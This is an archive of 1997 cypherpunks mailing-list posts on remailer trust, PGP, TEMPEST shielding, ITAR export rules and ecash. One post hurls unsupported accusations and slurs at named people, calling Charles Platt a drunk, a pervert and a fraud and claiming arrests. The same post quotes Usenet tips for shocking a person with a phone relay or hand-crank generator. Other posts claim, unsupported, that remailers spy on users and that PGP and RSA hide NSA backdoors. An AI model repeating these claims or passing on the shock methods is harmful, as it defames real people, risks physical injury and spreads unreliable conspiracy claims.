To: cypherpunks@toad.com (Cypherpunks)
Subject: is cypherpunks@toad.com still moderated?
Message-ID: <199703120121.TAA00349@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Just curious, is the moderation experiment still continuing or 
it is over?

Thank you.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 11 Mar 1997 17:52:34 -0800 (PST)
To: an7575@anon.nymserver.com
Subject: Re: Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703120047.RAA13604@shaman.lycaeum.org>
Message-ID: <199703111957.TAA07938@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3952.1071713687.multipart/signed"

--Boundary..3952.1071713687.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit


In <199703120047.RAA13604@shaman.lycaeum.org>, on 03/11/97 at 06:47 PM,
   an7575@anon.nymserver.com said:


>Kevin McCurry pretended to ask:

>I would appreciate any information on the trustworthiness/security of the
>below named individuals and service. Please, friends, spare me the
>gratuitous remarks about Sameer, etc., that's not the issue inthis case.

>  Why are you asking for information on these people and 
>then stating that you don't want 'certain types' of 
>information on Sameer and others?
>  Are you connected in some way to these people, perhaps,
>and just fishing for compliments that will be supplied
>by the prepared responses of others?

>  Allow me to give my 'unprepared' response in regard to
>remailers in general, since you seem to be seeking only
>a one-sided viewpoint about the individuals involved.

>  Firstly, remailers were developed by the cypherpunks as
>a method of monitoring supposedly private communications
>of others, in order to increase their own power and wealth.
>  The communications passing through them remain private 
>and anonymous only to those who aren't running them (or who
>haven't compromised the system).

>  Secondly, the few remailers that aren't contolled by a
>small elite within the cypherpunks come and go rather
>quickly.

>  Thirdly, the remailer owners only support compromised
>cryptography systems such as the newer versions of PGP
>produced by All-my-charges-mysteriously-disappeared-
>when-I-agreed-to-switch-to-a-new-system Zimmerman.

>  If you want true anonymity, learn how to hack.

>TruthMonger

What a crock of shit!

Do you have any *PROOF* of your accusations or perhaps you are YAGS here
too spread more lies and dissinformation?

**YAGS: Yet Another Government Stooge.


--
-----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
-----------------------------------------------------------
 
Tag-O-Matic: OS/2: Your brain.  Windows: Your brain on drugs.


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UEdQIE1FU1NBR0UtLS0tLQ==
--Boundary..3952.1071713687.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Mar 1997 05:40:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: re: True colours
In-Reply-To: <Pine.SUN.3.91.970311135854.29085A-100000@beast.brainlink.com>
Message-ID: <ZZkF4D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian <sunder@brainlink.com> writes:

> On Mon, 10 Mar 1997 paul@fatmans.demon.co.uk wrote:
>
> > > > What evidence do you have that Dr. Vulis is KGB loving? - As far as I
> > > > saw his message only confirmed that he knew that the KGB had employed
> > > > a number of good cryptographers, without personal knowledge I cannot

I also had the honor of meeting a few of them in person, and exchanging
e-mails with others. They're much nicer people than the NSA shills.

> > > > confirm or deny this therefore I see no basis in logic for calling
> > > > him a master of disinformation...
> > >
> > > Since when do you know Vulis so well that your personal knowledge can be
> > > used to confirm what he is or isn't?  Or are you yet another Vulistentacl
> >
> > Please learn to read, I stated that I did not have enough information
> > to confirm or deny this.
>
> Exactly, and my point is this: if you don't know, why do you feel the
> need to point out that you lack the knowledge to determine whether or
> not Vulis is KGB loving?  If you don't know, why bother stating this,
> then claiming you see no basis in calling him a master of disinformation?

I will neither confirm nor deny the fact that I'm a KGB colonel. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Mar 1997 05:42:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Reprehensible lying pervert Charlie Platt spams alt.torture
In-Reply-To: <332306B7.1511@gte.net>
Message-ID: <yaLF4D9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > Graham-John Bullers <real@freenet.edmonton.ab.ca> writes:
> > > Vulis you are the pathological liar.
>
> This Graham-John character may just be one of the best autobots
> yet.  I've examined "his" messages, which show even less emotional
> content than on-the-scene responses by Sirhan Sirhan or John Hinckley.
> Obviously not hand-typed by a human.

Perhaps some enemy of the "real" Graham-John is running a 'bot that
forges drivel in his name in an effort to have him globally killfiled?

> > Charles Platt, the alcoholic yellow journalist, is a pathological liar.
> > Just look in sci.cryonics for the testimonies from dozens of people
> > (former business partners and clients) cheated from thousands of
> > dollars by Charles Platt's failed "frozen corpses" business.
> > Charles Platt almost got arrested recently when he showed up drunk
> > at a public meeting and began shouting obscenities at people.

There were more articles on sci.cryonics alleging that Charles Platt
finally got arrested this time. The cocksucker John Gilmore too got
arrested last August. Perhaps the shock of spending a night in jail
will cause Charles Platt to enter a detox program.

> Platt sounds like the ideal candidate to start another disinformation
> periodical.  Any guesses as to who his backers will be?

There are connections between Platt and panix.com and SEA and EFF and C2Net.

Charlie is a very sick pervert who posted the following on Usenet:

]--------------------------------------------------------------------------
]
]Subject:      Re: electricity torture?
]From:         cp@panix.com (Charles Platt)
]Date:         1997/01/31
]Message-Id:   <5crvmh$jhe@panix.com>
]Newsgroups:   alt.torture
]
]I suggest an enhancement to the basic phone-torture scenario. Buy a cheap
]answering machine that picks up on the third or fourth ring. Inside the
]answering machine there is usually a relay that closes when the machine
]picks up. It might be interesting to adapt that relay to supply an
]electric shock to the slave. Thus, the slave gets to sit and listen as the
]phone rings once, twice, a third time ... and of course, sometimes the
]master hangs up BEFORE the fourth ring, just to make life more
]interesting.
]
]It seems to me, true torture has to entail anticipation and uncertainty.
]
]-------------------------------------------------------------------------
]
]Subject:      Re: Orgasm control
]From:         cp@panix.com (Charles Platt)
]Date:         1997/01/05
]Message-Id:   <5ap55i$iit@panix.com>
]Newsgroups:   alt.torture
]
]Dave & Eddie (dave-ed@dircon.co.uk) wrote:
]
]> Has anyone got any experiences, tips or techniques for encouraging and
]> building up to extreme intensity a male's need for orgasm, and then
]> withholding the longed-for and urgently-needed relief of ejaculation -
]> over a very long period of time, and as a torture?
]
]Trouble is, in the long term this tends to result in enlargement of the
]prostate. Of course that can be a torture in itself (urinary problems etc)
]and I'm not saying you shouldn't do it, but at least the victim should be
]aware of these potential long-term penalties.
]
]-----------------------------------------------------------------------
]
]Subject:      Re: Elec. Tort. (I was shocked with 220...)
]From:         cp@panix.com (Charles Platt)
]Date:         1997/02/19
]Message-Id:   <5egkkm$qbq@panix.com>
]Newsgroups:   alt.torture
]
]JBtspflk (jbtspflk@aol.com) wrote:
]> BTW, I always thought that the telephone ringing signal was 20Hz AC, not
]> DC.
]
]You're right, the ring signal is AC. Old phones used a rectifier that
]would pass the AC and ring the bell. When the ringing signal is not
]present, there is a DC potential on the line. This isn't painful but the
]AC ring signal does, er, give you a shock.
]
]This doesn't have much to do with torture, does it? Unless, of course,
]you regard boredom as a form of torture. "Tonight, my dear, I am going to
]tie you down--and read interesting facts about the TELEPHONE SYSTEM!"
]
]----------------------------------------------------------------------
]
]Subject:  Re: Hand Crank Generator
]From:  cp@panix.com (Charles Platt)
]Date:  1997/01/06
]Message-Id:  <5ashd1$k2m@panix.com>
]Newsgroups: alt.torture
]
]Leonard (ixion@dorsai.org) wrote:
]> How will this tell me how to effectively use this device?
]> I'm still looking for practical data.
]> Anybody ever use one of these things?
]
]All I can tell you is I used to fool around with one of these things, as a
]kid, with a friend. As kids, we took turns with one person turning the
]handle while the other took a wire in each hand. As an adult, I would say
]this is definitely not such a great idea. I find it hard to believe,
]however, that you're going to do any harm if the two (dry) conductors
]touch (dry) skin just a few inches apart. As a previous post said, avoid
]running current through major organs (heart, brain, etc!).
]
]A previous post gave various resistance values for skin. If you want to
]know how much current the generator will pass through skin, first obtain a
]potentiometer (variable resistor) that can take a reasonable amount of
]current--1 watt, say. Use a volt/amp/ohm meter to calibrate the
]potentiometer--i.e. mark where the knob points for 1000 ohms, 5000 ohms,
]etc. Now attach one wire from your generator to one side of the
]potentiometer, link the other side of your potentiometer with your
]volt/amp/ohm meter, switch the meter to measure CURRENT (amps), and attach
]the other side of the meter to the other wire of your generator. In other
]words, the generator, potentiometer, and meter form a closed daisy chain.
]Crank the handle at different potentiometer settings and see what readings
]you get from your meter. This will only be an APPROXIMATE guide, and you
]may want to check the skin resistance of your actual test subject too.
]
]Note: all the above advice dates back to stuff I did 25 years ago. I think
]it's accurate (if it's not, someone will probably flame me anyway); but
]as with all forms of consensual torture, it might be a good idea to try it
]on yourself first.
]
]------------------------------------------------------------------------
]




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 11 Mar 1997 23:15:10 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: [POLITICS] Re: CIA Spy Expelled
In-Reply-To: <1.5.4.32.19970311201339.0085e134@pop.pipeline.com>
Message-ID: <3.0.1.32.19970311221952.00633d30@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:13 PM 3/11/97 -0500, John Young wrote:
>Thanks to UM we offer an English version of the Spiegel 
>report on the US spy expelled by Germany (cited by NYT).
>CIA_ami

It may or may not have been coincidence, but this happened
just before the Senate Confirmation hearings for
Anthony Lake as CIA director....

Lake was a big honcho in the recent Yankee takeover of Haiti;
Haiti is also in the news because one of their ex-generals,
who was part of the coup government that the US government supported
and trained in "anti-drug" activities, was busted for smuggling
several tons of cocaine and heroin into the US through Haiti.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Tue, 11 Mar 1997 19:40:13 -0800 (PST)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703111957.TAA07938@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.95.970311223527.141B-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 11 Mar 1997, William H. Geiger III wrote:

- -> In <199703120047.RAA13604@shaman.lycaeum.org>, on 03/11/97 at 06:47 PM,
- ->    an7575@anon.nymserver.com said:
- -> 
- -> 
- -> >Kevin McCurry pretended to ask:
- -> 
- -> >I would appreciate any information on the trustworthiness/security of the
- -> >below named individuals and service. Please, friends, spare me the
- -> >gratuitous remarks about Sameer, etc., that's not the issue inthis case.
- -> 
- -> >  Why are you asking for information on these people and 
- -> >then stating that you don't want 'certain types' of 
- -> >information on Sameer and others?

** TRASH CUT **

- -> >  If you want true anonymity, learn how to hack.
- -> 
- -> >TruthMonger
- -> 
- -> What a crock of shit!
- -> 
- -> Do you have any *PROOF* of your accusations or perhaps you are YAGS here
- -> too spread more lies and dissinformation?
- -> 
- -> **YAGS: Yet Another Government Stooge.

Actually, I think anon7575 is a true cypherpunk in spirit, regardless of the
truth value of what he said.

Spreading paranoia is very conducive to security.


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: http://www.efh.org/pgp/pgpwork.html explains this signature.

iQCVAwUBMyYlA8gbnd/MibbZAQE3zAQAiPVkKsqHLK1ZVZd7i49exuFt5UD/J8Sz
YuauR7l7wg002vowmzrauYrAbDoK0eDMCxaqV1Va6vpKsao82I5Z6/6MBGf3qWj5
1ZgyGYDBAWgYRyjloKcnSwKUL+amPmrk2prrhJjVwcodUxFcX4lPdWzoPjRcRuj1
OQ+rB8Jp5wY=
=30wt
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <an7575@anon.nymserver.com>
Date: Tue, 11 Mar 1997 22:26:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <19970312024006.27898.qmail@anon.lcs.mit.edu>
Message-ID: <199703120626.XAA27069@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain



Keely McCurry wrote:
> From: an7575@anon.nymserver.com
> Date: Tue, 11 Mar 1997 17:47:31 -0700 (MST)
> 
> Kevin McCurry pretended to ask:
> 
> I would appreciate any information on the trustworthiness/security of the
> below named individuals and service. Please, friends, spare me the gratuitous
> remarks about Sameer, etc., that's not the issue inthis case.
> 
>   Why are you asking for information on these people and
> then stating that you don't want 'certain types' of
> information on Sameer and others?
>   Are you connected in some way to these people, perhaps,
> and just fishing for compliments that will be supplied
> by the prepared responses of others?

>   Firstly, remailers were developed by the cypherpunks as
> a method of monitoring supposedly private communications
> of others, in order to increase their own power and wealth.
> <<<<
> Well, that is food for thought. It's an angle I had not considered.

  The motivation behind the 'generosity' of others should always
be considered as a factor.

>   The communications passing through them remain private
> and anonymous only to those who aren't running them (or who
> haven't compromised the system).
> <<<<
> The system does involve trust on the side of the senders and integrity on the
> side of the remailers. That was my question: are there members of this list
> who can vouch [not swear] for or deny the integrity of the individual running
> the anon.nymserver.com nymserver?
> >>>>

  You are asking for opinions from people you don't personally know for
opinions as to the integrity of others whom you do not know, in order
to make decisions regarding placing your trust in someone else to 
guarantee your privacy and/or anonymity?

> Is the server I asked about controlled, or not?

Received: (from root@localhost) by shaman.lycaeum.org (Partyon/dude!)
  Judging from the (Partyon/dude!) in the headers from the server,
perhaps questions regarding 'controlled substances' might be more
pertinent.  
  As well, the new-user info they send out tells you how to hack the
accounts of others on the system, then tells you that the 'protection'
against this is defaulted to 'off'. It goes on to say that you should
turn it 'on' only if you are 'paranoid' of someone hacking 'your'
account.
  i.e. - if you don't notice or understand the implications of this,
then, by default, you are 'fair game' for hackers on their server.

>   Thirdly, the remailer owners only support compromised
> cryptography systems such as the newer versions of PGP
> produced by All-my-charges-mysteriously-disappeared-
> when-I-agreed-to-switch-to-a-new-system Zimmerman.

> What do you mean support? Which "newer versions?" Where does 2.6.2. stand in
> this hierarchy? Must we use the i versions? I use several versions including
> the international, and have noticed no difference in the ways the remailers
> process the versions.

  PGP 2.0-->2.3a were released outside of the U.S. and imported into
the country.
  The use of PGP=>2.5 suddenly became a 'non-issue' for use in the U.S.
because they use both the algorithm and sub-routines developed by the
NSA and the Military.
  Think about it.

TruthMonger

>def 2. one who attempts to stir up or spread something that is usually
>petty or discreditable

  Such as blind acceptance of remailers and iconic cryptographical
software?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Mar 1997 23:33:37 -0800 (PST)
To: TruthMonger <an7575@anon.nymserver.com>
Subject: Re: TEMPEST protection
In-Reply-To: <199703120604.AAA00512@manifold.algebra.com>
Message-ID: <33265C33.15BB@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


TruthMonger wrote:
>   Having had electro-shock therapy, I consider myself
> somewhat of an expert in this area.
>   I have an outdated computer which I set next to my new
> computer, and I have self-running programs running on it
> all the time. I also add a keyboard input device when I
> want a little extra *noise* in the air. (It uses those
> *ducks* that swing up and down, dipping their beaks in
> a glass of water.)

Actually, the computer you type on will be very easy to pick out
of the noise field with modest spy equipment sitting down the street.

There's a company (I lost the brochure) who sell EM attenuator
material, some preconfigured, and presumably some bulk.  It should
be easy to find on the Web.  Once you get some really dramatic
attenuation, particularly of the keyboard (and particularly during
password confirmations, etc.), you should do your own preliminary
monitoring with some of those band-sweep gadgets.  Steady noise
of course is nothing compared to the spikes from some of the keyboard
outputs...

Once you've identified all (we can hope, can't we) of the problem
signals still leaking through the shielding (albeit at greatly
reduced levels), you can direct different kinds of efforts there,
including random noise from other computers which use the exact
same output devices.

HP has been selling Tempest-approved PC's since the early 1980's
(if not before), and at not too steep a price, either, so it can't
be all that difficult, once you get a handle on it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 11 Mar 1997 23:42:07 -0800 (PST)
To: TruthMonger <an7575@anon.nymserver.com>
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <19970312024006.27898.qmail@anon.lcs.mit.edu>
Message-ID: <3.0.1.32.19970311234111.005d3bb0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Someone calling themselves TruthMonger wrote:
>>   Firstly, remailers were developed by the cypherpunks as
>> a method of monitoring supposedly private communications
>> of others, in order to increase their own power and wealth.

That message was relatively funny, and trust is a serious issue
in this business - even though the suggestion that _we_ in the
Cypherpunks Elite Cabal did that, it doesn't mean that there
aren't People With Ulterior Motives running remailers, or remailers
hosted on machines run by bad guys who are actually monitoring their users.

However, if you want to spread Fear, Uncertainty, and Doubt,
at least keep your facts straight; it does a much better job.
>>   Thirdly, the remailer owners only support compromised
>> cryptography systems such as the newer versions of PGP
>> produced by All-my-charges-mysteriously-disappeared-
>> when-I-agreed-to-switch-to-a-new-system Zimmerman.
.....
>  PGP 2.0-->2.3a were released outside of the U.S. and imported into
>the country.
>  The use of PGP=>2.5 suddenly became a 'non-issue' for use in the U.S.
>because they use both the algorithm and sub-routines developed by the
>NSA and the Military.

The new algorithm was the International Drug Entrapment Agency algorithm,
introduced in PGP 2.0 to replace the previous non-NSA-crackable algorithm,
Bass-O-Matic.  Pay no attention to the comments in the source about fnords,
/* these aren't the subroutines you're looking fnord */ and follow the money.
PGP 2.5 became a non-issue because RSAREF takes care of the patent problem -
which is largely because the widespread use of PGP really did spread the 
RSA algorithm's popularity, and giving away free licenses was about the only
way for RSA Inc. to regain any control over it at all.  If you want to do
a better job of FUD, you could talk about the under-the-table relationship
between MIT and RSA or the RSA and NSA (they're only different by one letter!)
or notice that the CAPSTONE implementations of Clipper used algorithms
patented by PKP...


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <an7575@anon.nymserver.com>
Date: Tue, 11 Mar 1997 23:01:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: TEMPEST protection
In-Reply-To: <199703120604.AAA00512@manifold.algebra.com>
Message-ID: <199703120701.AAA28172@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain



Russian spy Igor Chudov whispered:

>I would like to find out how hard (and expensive) would it be
>to try to protect my computer by TEMPEST-like measures.

>I am not an electrical engineer and am looking (hopefully) for
>a relatively easy to understand do-it-yourself type of manual.

  Having had electro-shock therapy, I consider myself 
somewhat of an expert in this area.
  I have an outdated computer which I set next to my new
computer, and I have self-running programs running on it
all the time. I also add a keyboard input device when I
want a little extra *noise* in the air. (It uses those 
*ducks* that swing up and down, dipping their beaks in
a glass of water.)

Not that I think that Martians from the flying saucers are already
listening, but it is interesting to find out how to do this stuff.

  For Martians, use an aluminum-foil hat. (That's common
knowlege).

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 11 Mar 1997 22:07:58 -0800 (PST)
To: cypherpunks@algebra.com
Subject: TEMPEST protection
Message-ID: <199703120604.AAA00512@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Ladies and Gentlemen,

I would like to find out how hard (and expensive) would it be
to try to protect my computer by TEMPEST-like measures.

I am not an electrical engineer and am looking (hopefully) for
a relatively easy to understand do-it-yourself type of manual.

I have heard from my acquaintaince who is a tempest professional that 
it was not very possible. If that is indeed true, are there any
measures that can be taken to at least complicate spying on my computer?

Not that I think that Martians from the flying saucers are already
listening, but it is interesting to find out how to do this stuff.

Thank you very much.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Tue, 11 Mar 1997 21:24:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: U.S. State Department crackdown (fwd)
Message-ID: <199703120526.AAA11078@pig.die.com>
MIME-Version: 1.0
Content-Type: text


Jim Conrad wrote >
>From jjc@infi.net  Wed Mar 12 00:21:16 1997
Date: Wed, 12 Mar 1997 00:20:36 -0500 (EST)
Message-Id: <2.2.16.19970312001929.4db72c86@mailhost.norfolk.infi.net>
X-Sender: jjc@mailhost.norfolk.infi.net
X-Mailer: Windows Eudora Pro Version 2.2 (16)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: die@die.com, ttyler@mich.com, troach@netcom.com, lrkn@zeus.anet-dfw.com,
        crisp@netcom.com, victor@best.com,
        "Michael F. Peyton" <Michael.Peyton@MCI.com>, dwilson@paprika.mwc.edu,
        stever@infi.net, rbritt@visi.net, larry51@aol.com, jmccolman@infi.net,
        brueger@infi.net, lburke@infi.net, donjr@infi.net, acolejr@erols.com
From: Jim Conrad <jjc@infi.net>
Subject: U.S. State Department crackdown

Thought you'all might find this interesting ...


>Return-Path: jmatk@tscm.com
>X-Sender: jmatk@tiac.net
>Date: Tue, 11 Mar 1997 17:26:56 -0500
>To: jmatk@tscm.com
>From: jmatk@tscm.com (James M. Atkinson, Comm-Eng)
>Subject: U.S. State Department crackdown
>
>The U.S. State Department is starting to crackdown on the illegal
>export of TSCM and SIGINT equipment under ITAR.
>
>Noice how section (b) is worded:
>
>"...equipment designed or modified to counteract electronic surveillance
>or monitoring."
>
>-jma
>
>
>=================================================================
>
>DEPARTMENT OF STATE - Bureau of Politico-Military Affairs
>22 CFR Parts 120, 121, 122, 123, 124, 125, 126, 127, 128, and 130
>
>=================================================================
>
>  Category XI-Military [and Space] Electronics
>
>   (a) Electronic equipment not included in Category XII of the U.S. Munitions
>List which is specifically designed, modified or configured for military
>application. This equipment includes but is not limited to:
>
>   *(b) Electronic systems or equipment specifically designed, modified, or
>configured for intelligence, security, or military purposes for use in search,
>reconnaissance, collection, monitoring, direction-finding, display,
analysis and
>production of information from the electromagnetic spectrum and electronic
>systems or equipment designed or modified to counteract electronic surveillance
>or monitoring. A system meeting this definition is controlled under this
>subchapter even in instances where any individual pieces of equipment
>constituting the system may be subject to the controls of another U.S.
>Government agency. Such systems or equipment described above include, but are
>not limited to, those:
>
>   (1) Designed or modified to use cryptographic techniques to generate the
>spreading code for spread spectrum or hopping code for frequency agility. This
>does not include fixed code techniques for spread spectrum.
>
>   (2) Designed or modified using burst techniques (e.g., time compression
>techniques) for intelligence, security or military purposes.
>
>   (3) Designed or modified for the purpose of information security to suppress
>the compromising emanations of information-bearing signals. This covers TEMPEST
>suppression technology and equipment meeting or designed to meet government
>TEMPEST standards. This definition is not intended to include equipment
designed
>to meet Federal Communications Commission (FCC) commercial electro-magnetic
>interference standards or equipment designed for health and safety.
>
>
>
> ===============================================================
> "If it doesn't involve a torque wrench, then it's not TEMPEST"
> ===============================================================
>  James M. Atkinson                       Phone: (508) 546-3803
>  Granite Island Group - TSCM.COM
>  127 Eastern Avenue #291                 http://www.tscm.com/
>  Gloucester, MA 01931-8008                  jmatk@tscm.com
> ===============================================================
>      The First, The Largest, The Most Popular, and the Most
>      Complete TSCM Counterintelligence Site on the Internet
> ===============================================================
>
>
>
<:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:>
<:>       Jim Conrad - Ocean View Communications - jjc@infi.net      <:>
<:>  757-490-8127 Office  -  757-587-8251 Fax - 757-473-6740 Pager   <:>
<:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: MLM-Powerhouse@cash-in-now.net
Date: Wed, 12 Mar 1997 03:51:09 -0800 (PST)
To: (Recipient list suppressed)
Subject: Everything You Need to Succeed in MLM!
Message-ID: <3.0.1.32.19970312010233.006fdd58@cash-in-now.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 12 Mar 1997 01:04:02 -0800 (PST)
To: Hayashi_Tsuyoshi <declan@well.com>
Subject: Re: Wassenaar Arrangement and "sensitive dual-use items"
Message-ID: <3.0.32.19970312010250.0068a24c@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:21 AM 3/11/97 +0900, Hayashi_Tsuyoshi wrote:
>Although I have not seen it, there should be the Japanese
>translated version of the W.A.

While it is true that MITI has halted all exports of crypto products since
late September, citing their obligations under the Wassenaar "arrangement",
numerous high level meetings conducted by Japanese industry heavyweights
with MITI produced neither a copy of the arrangement nor any written MITI
guidelines. MITI reserves the right to decided on a case by case basis. So
far, every single export application has been denied.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <an7575@anon.nymserver.com>
Date: Wed, 12 Mar 1997 00:06:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Ecash Brain Tennis
In-Reply-To: <199703111801.KAA23982@crypt.hfinney.com>
Message-ID: <199703120806.BAA00437@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain



Hal Finney wrote:

> 

> On the Wired "brain tennis" debate, http://www.braintennis.com/, Kawika

> Daguio of the American Bankers Association wrote:

> 

> > The real danger of cyberspace is that it could be the tragedy of

> > the commons in waiting.  Technology alone won't provide participants

> > sufficient security for e-commerce to flourish. Law, tradition, and good

> > reputations and technology give rise to trust. Trust cannot be established

> > solely though technical protocols. And trust is not irrelevant.

> 

> What do you think he means about a "tragedy of the commons"?

> I wonder if he just meant that there would be too many "commoners" trying

> to engage in commerce, so you couldn't know who to trust? 

  Be assured that those already in control of commerce in 
this country and others have already written new laws 'in
their head' concerning the future of eca$h.
  I predict that these laws will be for our 'protection,'
but will have the curious effect of limiting the control
of eca$h to the already rich and powerful.

  Some groups such as the Anguila Antagonists may be able 
to wrest a certain number of digital dollars from the grip
of the system currently in place, but above a certain point,
they will eaten up, either passively or aggressively (crushed
or bought off).
  If 'outsiders' begin to make too large a dent in the main
players' piece of the action, then we can expect to see events
similar to the Junk Bonds fiasco, with the 'bad guys' set-up
and knocked down like bowling pins.

  We can expect automatic taxation at the time of all eca$h
transactions, as well as strict laws against anonymity in the
transfer of eca$h.
  Freelance cryptographers are going to be outlaws, by decree
of law. It is quite simply a matter of money (power and
control being merely prerequisites for controlling money).

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <an7575@anon.nymserver.com>
Date: Wed, 12 Mar 1997 00:46:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <19970312024006.27898.qmail@anon.lcs.mit.edu>
Message-ID: <199703120846.BAA02942@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart wrote:

> 

> However, if you want to spread Fear, Uncertainty, and Doubt,

> at least keep your facts straight; it does a much better job.


  The straight facts are that you can't trust your best
friend not to bop your old-lady, given ample opportunity,
and to put even more trust in a stranger is foolish.

> >  PGP 2.0-->2.3a were released outside of the U.S. and imported into

> >the country.

> >  The use of PGP=>2.5 suddenly became a 'non-issue' for use in the U.S.

> >because they use both the algorithm and sub-routines developed by the

> >NSA and the Military.

> 

> The new algorithm was the International Drug Entrapment Agency algorithm,

> introduced in PGP 2.0 to replace the previous non-NSA-crackable algorithm,

> Bass-O-Matic.  Pay no attention to the comments in the source about fnords,

> /* these aren't the subroutines you're looking fnord */ and follow the money.


> PGP 2.5 became a non-issue because RSAREF takes care of the patent problem -

> which is largely because the widespread use of PGP really did spread the

> RSA algorithm's popularity, and giving away free licenses was about the only

> way for RSA Inc. to regain any control over it at all.

  Are you saying that the patent on the RSA algorithm wasn't
enforceable?

>  If you want to do

> a better job of FUD, you could talk about the under-the-table relationship

> between MIT and RSA or the RSA and NSA (they're only different by one letter!)

> or notice that the CAPSTONE implementations of Clipper used algorithms

> patented by PKP...


  The relationship between MIT and the NSA and the Military
isn't very far under the table. 
  The spooks funded MIT's RSA development, and they are not
noted for funding projects for the good of the common man.
To suggest that they would fund a form of cryptography that
didn't have their own back-door for sounds implausible.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 12 Mar 1997 01:18:18 -0800 (PST)
To: TruthMonger <an7575@anon.nymserver.com>
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703120846.BAA02942@shaman.lycaeum.org>
Message-ID: <199703120323.DAA03881@mailhub.amaranth.com>
MIME-Version: 1.0
